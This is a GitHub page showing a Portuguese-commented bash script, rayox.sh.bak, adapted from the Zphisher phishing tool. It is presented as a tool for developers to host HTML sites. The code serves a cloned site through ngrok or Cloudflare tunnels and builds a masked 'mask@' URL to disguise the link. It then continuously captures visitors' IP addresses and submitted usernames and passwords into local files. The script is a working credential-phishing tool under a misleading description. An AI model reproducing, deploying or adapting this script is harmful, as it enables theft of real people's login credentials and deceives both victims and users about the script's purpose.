-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrayox.sh.bak
542 lines (472 loc) · 18.9 KB
/
rayox.sh.bak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
#!/bin/bash
## RAYOX : Uma ferramenta para hospedagem de sites de forma autonoma
## Zphisher : Automated Phishing Tool
## Author : HeroRicky_Games
## Version : 2
## Github : https://github.com/htr-tech
## Meus muito obrigado á :
## HeroRicky_Games - https://github.com/HeroRickyGAMES
## A propria comunidade que me acompanha!
## Aditya Shakya - https://github.com/adi1090x
## 1RaY-1 - https://github.com/1RaY-1
## Ali Milani Amin - https://github.com/AliMilani
## Moises Tapia - https://github.com/MoisesTapia
## TheLinuxChoice - https://twitter.com/linux_choice
## DarksecDevelopers - https://github.com/DarksecDevelopers
## Ignitetch - https://github.com/Ignitetch/AdvPhishing
## Võ Ngọc Bảo - https://github.com/vongocbao
## Mustakim Ahmed - https://www.facebook.com/Learn.Termux.009
## Se você for recopilar, lembre-se de usar os creditos devidos! :)
## GNU GENERAL PUBLIC LICENSE
## Version 3, 29 June 2007
##
## Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
## Everyone is permitted to copy and distribute verbatim copies
## of this license document, but changing it is not allowed.
##
## Preamble
##
## The GNU General Public License is a free, copyleft license for
## software and other kinds of works.
##
## The licenses for most software and other practical works are designed
## to take away your freedom to share and change the works. By contrast,
## the GNU General Public License is intended to guarantee your freedom to
## share and change all versions of a program--to make sure it remains free
## software for all its users. We, the Free Software Foundation, use the
## GNU General Public License for most of our software; it applies also to
## any other work released this way by its authors. You can apply it to
## your programs, too.
##
## When we speak of free software, we are referring to freedom, not
## price. Our General Public Licenses are designed to make sure that you
## have the freedom to distribute copies of free software (and charge for
## them if you wish), that you receive source code or can get it if you
## want it, that you can change the software or use pieces of it in new
## free programs, and that you know you can do these things.
##
## To protect your rights, we need to prevent others from denying you
## these rights or asking you to surrender the rights. Therefore, you have
## certain responsibilities if you distribute copies of the software, or if
## you modify it: responsibilities to respect the freedom of others.
##
## For example, if you distribute copies of such a program, whether
## gratis or for a fee, you must pass on to the recipients the same
## freedoms that you received. You must make sure that they, too, receive
## or can get the source code. And you must show them these terms so they
## know their rights.
##
## Developers that use the GNU GPL protect your rights with two steps:
## (1) assert copyright on the software, and (2) offer you this License
## giving you legal permission to copy, distribute and/or modify it.
##
## For the developers' and authors' protection, the GPL clearly explains
## that there is no warranty for this free software. For both users' and
## authors' sake, the GPL requires that modified versions be marked as
## changed, so that their problems will not be attributed erroneously to
## authors of previous versions.
##
## Some devices are designed to deny users access to install or run
## modified versions of the software inside them, although the manufacturer
## can do so. This is fundamentally incompatible with the aim of
## protecting users' freedom to change the software. The systematic
## pattern of such abuse occurs in the area of products for individuals to
## use, which is precisely where it is most unacceptable. Therefore, we
## have designed this version of the GPL to prohibit the practice for those
## products. If such problems arise substantially in other domains, we
## stand ready to extend this provision to those domains in future versions
## of the GPL, as needed to protect the freedom of users.
##
## Finally, every program is threatened constantly by software patents.
## States should not allow patents to restrict development and use of
## software on general-purpose computers, but in those that do, we wish to
## avoid the special danger that patents applied to a free program could
## make it effectively proprietary. To prevent this, the GPL assures that
## patents cannot be used to render the program non-free.
##
## The precise terms and conditions for copying, distribution and
## modification follow.
##
## Copyright (C) 2022 HTR-TECH (https://github.com/htr-tech)
##
## ANSI colors (FG & BG)
RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
RESETBG="$(printf '\e[0m\n')"
## Directories
if [[ ! -d ".server" ]]; then
mkdir -p ".server"
fi
if [[ -d ".server/www" ]]; then
rm -rf ".server/www"
mkdir -p ".server/www"
else
mkdir -p ".server/www"
fi
if [[ -e ".cld.log" ]]; then
rm -rf ".cld.log"
fi
## Script termination
exit_on_signal_SIGINT() {
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }
exit 0
}
exit_on_signal_SIGTERM() {
{ printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }
exit 0
}
trap exit_on_signal_SIGINT SIGINT
trap exit_on_signal_SIGTERM SIGTERM
## Reset terminal colors
reset_color() {
tput sgr0 # reset attributes
tput op # reset color
return
}
## Kill already running process
kill_pid() {
if [[ `pidof php` ]]; then
killall php > /dev/null 2>&1
fi
if [[ `pidof ngrok` ]]; then
killall ngrok > /dev/null 2>&1
fi
if [[ `pidof cloudflared` ]]; then
killall cloudflared > /dev/null 2>&1
fi
}
## Banner
banner() {
cat <<- EOF
${ORANGE}
${ORANGE}
${ORANGE} ###### # # # ####### # #
${ORANGE} # # # # # # # # # #
${ORANGE} # # # # # # # # # #
${ORANGE} ###### # # # # # #
${ORANGE} # # ####### # # # # #
${ORANGE} # # # # # # # # #
${ORANGE} # # # # # ####### # # ${RED}Versao : 2
${GREEN}[${WHITE}-${GREEN}]${CYAN} Uma ferramenta criada por HeroRickyGAMES (https://www.youtube.com/herorickygames)${WHITE}
${GREEN}[${WHITE}-${GREEN}]${CYAN} Baseada na Zphisher (https://github.com/htr-tech/zphisher)${WHITE}
EOF
}
## Small Banner
banner_small() {
cat <<- EOF
${BLUE}
${BLUE}
${BLUE}██████╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗
${BLUE}██╔══██╗██╔══██╗╚██╗ ██╔╝██╔═══██╗╚██╗██╔╝
${BLUE}██████╔╝███████║ ╚████╔╝ ██║ ██║ ╚███╔╝
${BLUE}██╔══██╗██╔══██║ ╚██╔╝ ██║ ██║ ██╔██╗
${BLUE}██║ ██║██║ ██║ ██║ ╚██████╔╝██╔╝ ██╗
${BLUE}╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝${WHITE} 2.2
EOF
}
## Dependencias
dependencies() {
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Instalando dependencias necessarias..."
if [[ -d "/data/data/com.termux/files/home" ]]; then
if [[ `command -v proot` ]]; then
printf ''
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Instalando pacote : ${ORANGE}proot${CYAN}"${WHITE}
pkg install proot resolv-conf -y
fi
if [[ `command -v tput` ]]; then
printf ''
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Instalando pacote : ${ORANGE}ncurses-utils${CYAN}"${WHITE}
pkg install ncurses-utils -y
fi
fi
if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Dependencias já instaladas."
else
pkgs=(php curl wget unzip)
for pkg in "${pkgs[@]}"; do
type -p "$pkg" &>/dev/null || {
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Instalando pacote : ${ORANGE}$pkg${CYAN}"${WHITE}
if [[ `command -v pkg` ]]; then
pkg install "$pkg" -y
elif [[ `command -v apt` ]]; then
apt install "$pkg" -y
elif [[ `command -v apt-get` ]]; then
apt-get install "$pkg" -y
elif [[ `command -v pacman` ]]; then
sudo pacman -S "$pkg" --noconfirm
elif [[ `command -v dnf` ]]; then
sudo dnf -y install "$pkg"
else
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Pacote não suportado, Instale manualmente."
{ reset_color; exit 1; }
fi
}
done
fi
}
## Download Ngrok
download_ngrok() {
url="$1"
file=`basename $url`
if [[ -e "$file" ]]; then
rm -rf "$file"
fi
wget --no-check-certificate "$url" > /dev/null 2>&1
if [[ -e "$file" ]]; then
unzip "$file" > /dev/null 2>&1
mv -f ngrok .server/ngrok > /dev/null 2>&1
rm -rf "$file" > /dev/null 2>&1
chmod +x .server/ngrok > /dev/null 2>&1
else
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Ocorreu um erro ao instalar o Ngrok."
{ reset_color; exit 1; }
fi
}
## Download Cloudflared
download_cloudflared() {
url="$1"
file=`basename $url`
if [[ -e "$file" ]]; then
rm -rf "$file"
fi
wget --no-check-certificate "$url" > /dev/null 2>&1
if [[ -e "$file" ]]; then
mv -f "$file" .server/cloudflared > /dev/null 2>&1
chmod +x .server/cloudflared > /dev/null 2>&1
else
echo -e "\n${RED}[${WHITE}!${RED}]${RED} Ocorreu um erro ao instalar o Cloudflared, instale manualmente."
{ reset_color; exit 1; }
fi
}
## Install ngrok
install_ngrok() {
if [[ -e ".server/ngrok" ]]; then
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok já instalados."
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Instalando Ngrok..."${WHITE}
arch=`uname -m`
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip'
elif [[ "$arch" == *'aarch64'* ]]; then
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip'
elif [[ "$arch" == *'x86_64'* ]]; then
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip'
else
download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip'
fi
fi
}
## Install Cloudflared
install_cloudflared() {
if [[ -e ".server/cloudflared" ]]; then
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Cloudflared already installed."
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing Cloudflared..."${WHITE}
arch=`uname -m`
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm'
elif [[ "$arch" == *'aarch64'* ]]; then
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64'
elif [[ "$arch" == *'x86_64'* ]]; then
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64'
else
download_cloudflared 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386'
fi
fi
}
## Exit message
msg_exit() {
{ clear; banner; echo; }
echo -e "${GREENBG}${BLACK} Muito obrigado por estar usando essa ferramenta, Tenha um otimo dia.${RESETBG}\n"
{ reset_color; exit 0; }
}
## About
about() {
{ clear; banner; echo; }
cat <<- EOF
${GREEN}Desenvolvedor ${RED}: ${ORANGE}HeroRickyGAMES
${GREEN}Github ${RED}: ${CYAN}https://github.com/HeroRickyGAMES/RayoX/blob/main/rayox.sh
${GREEN}Youtube ${RED}: ${CYAN}https://www.youtube.com/channel/UC47hFn90WOM_AeRMHiFpkxw
${GREEN}Instagram ${RED}: ${CYAN}https://www.instagram.com/heroricky_games/
${GREEN}Linkedin ${RED}: ${CYAN}https://br.linkedin.com/in/ricky-souza-de-oliveira-50195419b
${GREEN}Versão ${RED}: ${ORANGE}2
${REDBG}${WHITE} Obrigado por : Adi1090x,MoisesTapia,ThelinuxChoice
DarkSecDevelopers,Mustakim Ahmed,1RaY-1,AliMilani ${RESETBG}
${RED}AVISO:${WHITE}
${CYAN}Essa ferramenta foi feita para uso pessoal e profissional ${RED}!${WHITE}
${CYAN}Caso seja feito qualquer ato ilegal o desenvolvedor nao sera culpado ${RED}!${WHITE}
${CYAN}Porque essa ferramenta somente serve para ajudar devs que querem ter ${RED}!${WHITE}
${CYAN}Seus sites em HTML no ar ou demonstrar para um cliente como ta ficando ${RED}!${WHITE}
${CYAN}O trabalho ou mostrar pros amigos o site que está desenvolvendo ${RED}!${WHITE}
${RED}[${WHITE}00${RED}]${ORANGE} Menu Principal ${RED}[${WHITE}99${RED}]${ORANGE} Sair
EOF
read -p "${RED}[${WHITE}-${RED}]${GREEN} Selecione uma Opção : ${BLUE}"
case $REPLY in
99)
msg_exit;;
0 | 00)
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Voltando para o Menu Principal..."
{ sleep 1; main_menu; };;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
{ sleep 1; about; };;
esac
}
## Setup website and start php server
HOST='127.0.0.1'
PORT='8080'
setup_site() {
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Iniciando Servidor..."${WHITE}
cp -rf sites/"$website"/* .server/www
cp -f sites/ip.php .server/www/
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Iniciando Servidor PHP..."${WHITE}
cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 &
}
## Get IP address
capture_ip() {
IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r')
IFS=$'\n'
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} IP do usuario : ${BLUE}$IP"
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Salvo em : ${ORANGE}ip.txt"
cat .server/www/ip.txt >> ip.txt
}
## Get credentials
capture_creds() {
ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}')
PASSWORD=$(grep -o 'Senha:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}')
IFS=$'\n'
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Conta : ${BLUE}$ACCOUNT"
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Senha : ${BLUE}$PASSWORD"
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Salvo em : ${ORANGE}usernames.dat"
cat .server/www/usernames.txt >> usernames.dat
echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Aguardando o proximo log de login, ${BLUE}Ctrl + C ${ORANGE}para sair. "
}
## Print data
capture_data() {
echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Esperando log de login, ${BLUE}Ctrl + C ${ORANGE}para sair..."
while true; do
if [[ -e ".server/www/ip.txt" ]]; then
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} IP de Usuario achado !"
capture_ip
rm -rf .server/www/ip.txt
fi
sleep 0.75
if [[ -e ".server/www/usernames.txt" ]]; then
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Log de login encontrado !!"
capture_creds
rm -rf .server/www/usernames.txt
fi
sleep 0.75
done
}
## Start ngrok
start_ngrok() {
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Iniciando... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
{ sleep 1; setup_site; }
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Iniciando Ngrok..."
if [[ `command -v termux-chroot` ]]; then
sleep 2 && termux-chroot ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 &
else
sleep 2 && ./.server/ngrok http "$HOST":"$PORT" > /dev/null 2>&1 &
fi
{ sleep 8; clear; banner_small; }
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
ngrok_url1=${ngrok_url#https://}
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url"
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$ngrok_url1"
capture_data
}
## Start Cloudflared
start_cloudflared() {
rm .cld.log > /dev/null 2>&1 &
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Iniciando... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
{ sleep 1; setup_site; }
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Iniciando Cloudflared..."
if [[ `command -v termux-chroot` ]]; then
sleep 2 && termux-chroot ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .cld.log > /dev/null 2>&1 &
else
sleep 2 && ./.server/cloudflared tunnel -url "$HOST":"$PORT" --logfile .cld.log > /dev/null 2>&1 &
fi
{ sleep 8; clear; banner_small; }
cldflr_link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".cld.log")
cldflr_link1=${cldflr_link#https://}
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link"
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$cldflr_link1"
capture_data
}
## Start localhost
start_localhost() {
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Iniciando... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
setup_site
{ sleep 1; clear; banner_small; }
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Inicializado com sucesso, acesse : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}"
capture_data
}
## Tunnel selection
tunnel_menu() {
{ clear; banner_small; }
cat <<- EOF
${RED}[${WHITE}01${RED}]${ORANGE} Localhost ${RED}[${CYAN}For Devs${RED}]
${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Buggy${RED}]
${RED}[${WHITE}03${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}NEW!${RED}]
EOF
read -p "${RED}[${WHITE}-${RED}]${GREEN} Selecione um servico de hospedagem : ${BLUE}"
case $REPLY in
1 | 01)
start_localhost;;
2 | 02)
start_ngrok;;
3 | 03)
start_cloudflared;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Opção invalída..."
{ sleep 1; tunnel_menu; };;
esac
}
## Instagram
Custom_Web_Site() {
cat <<- EOF
${RED}[${WHITE}01${RED}]${ORANGE} Custom Web Site
EOF
read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"
case $REPLY in
1 | 01)
website="Custom_Web_Site"
mask='http://mycustomsite'
tunnel_menu;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Opçao invalida..."
{ sleep 1; clear; banner_small; Custom_Web_Site; };;
esac
}
## Menu
main_menu() {
{ clear; banner; echo; }
cat <<- EOF
${RED}[${WHITE}::${RED}]${ORANGE} Selecione um modo de rede ${RED}[${WHITE}::${RED}]${ORANGE}
${RED}[${WHITE}01${RED}]${ORANGE} Custom Web Site
${RED}[${WHITE}99${RED}]${ORANGE} Sobre ${RED}[${WHITE}00${RED}]${ORANGE} Sair
EOF
read -p "${RED}[${WHITE}-${RED}]${GREEN} Selecione uma opção : ${BLUE}"
case $REPLY in
1 | 01)
Custom_Web_Site;;
99)
about;;
0 | 00 )
msg_exit;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Opção invalida..."
{ sleep 1; main_menu; };;
esac
}
## Main
kill_pid
dependencies
install_ngrok
install_cloudflared
main_menu